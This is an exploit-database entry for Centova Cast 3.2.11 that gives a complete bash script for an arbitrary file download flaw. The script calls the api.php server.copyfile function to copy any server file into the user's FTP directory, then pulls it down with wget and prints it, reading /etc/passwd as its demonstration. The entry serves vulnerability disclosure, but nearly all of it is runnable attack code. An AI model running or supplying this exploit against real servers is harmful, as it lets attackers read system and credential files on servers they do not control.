Centova Cast 3.2.11 Arbitrary File Download

`# Exploit Title: Centova Cast 3.2.11 - Arbitrary File Download  
# Date: 2019-11-17  
# Exploit Author: DroidU  
# Vendor Homepage: https://centova.com  
# Affected Version: <=v3.2.11  
# Tested on: Debian 9, CentOS 7  
  
#!/bin/bash  
if [ "$4" = "" ]  
then  
echo "Usage: $0 centovacast_url user password ftpaddress"  
exit  
fi  
url=$1  
user=$2  
pass=$3  
ftpaddress=$4  
  
dwn() {  
curl -s -k "$url/api.php?xm=server.copyfile&f=json&a\[username\]=$user&a\[password\]=$pass&a\[sourcefile\]=$1&a\[destfile\]=1.tmp"  
wget -q "ftp://$user:$pass@$ftpaddress/1.tmp" -O $2  
}  
  
dwn /etc/passwd passwd  
echo "  
  
/etc/passwd:  
"  
cat passwd  
`